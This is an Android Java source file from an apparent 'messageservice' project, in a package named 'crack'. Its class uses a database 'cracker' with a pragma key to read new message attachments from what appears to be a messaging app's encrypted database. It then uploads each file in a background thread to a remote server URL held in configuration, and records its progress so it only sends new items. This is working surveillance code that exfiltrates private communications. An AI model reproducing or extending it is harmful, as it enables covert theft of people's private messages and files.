package com.rajesh.messageservice.crack;

import android.content.Context;

import com.rajesh.messageservice.Announcer;
import com.rajesh.messageservice.bean.AppMsgAttach;
import com.rajesh.messageservice.bean.StatusKeeper;
import com.rajesh.messageservice.helper.FileHelper;
import com.rajesh.messageservice.helper.GlobalConfig;
import com.rajesh.messageservice.helper.PreferenceHelper;
import com.rajesh.messageservice.helper.QueryStrings;

import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;

/**
 * Created by rajes on 2017/6/5.
 */
public class AppAttachAnnouncer extends Announcer {
    private final String TAG = "MessageAnnouncer";
    private final String STATUS_KEEPER_IDENTITY = "AppAttach_StatusKeeper";

    private DatabaseCracker databaseCracker = null;
    private PreferenceHelper preferenceHelper = null;
    private StatusKeeper statusKeeper = null;

    public AppAttachAnnouncer(Context context, DatabaseCracker databaseCracker) {
        this.databaseCracker = databaseCracker;
        this.preferenceHelper = new PreferenceHelper(context, STATUS_KEEPER_IDENTITY);
    }

    @Override
    public void execute(String path, String pragmaKey) {
        try {
            statusKeeper = this.preferenceHelper.get(StatusKeeper.class);
            if (statusKeeper == null)
                statusKeeper = new StatusKeeper();

            final List<AppMsgAttach> appMsgAttaches = databaseCracker.select(AppMsgAttach.class, String.format(QueryStrings.QUERY_NEW_APPATTACH, statusKeeper.getCursorIndex()));
            if (appMsgAttaches == null || appMsgAttaches.size() == 0) return;

            //上传文件
            for (final AppMsgAttach appMsgAttache: appMsgAttaches) {
                new Thread(new Runnable() {
                    @Override
                    public void run() {
                        List<String> uploadFiles = new ArrayList<>();
                        uploadFiles.add(appMsgAttache.getFileFullPath());

                        HashMap<String, String> hashMap = new HashMap<>();
                        hashMap.put("mediaSvrId", appMsgAttache.getMediaSvrId());
                        hashMap.put("type", "AppMsg");

                        FileHelper.uploadFile(GlobalConfig.UploadAppMsgAttachUrl, uploadFiles, hashMap);
                    }
                }).start();
            }
            AppMsgAttach lastAppMsgAttach = appMsgAttaches.get(0);
            statusKeeper.setCursorIndex(Long.parseLong(lastAppMsgAttach.getCreateTime()));
            preferenceHelper.put(statusKeeper);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
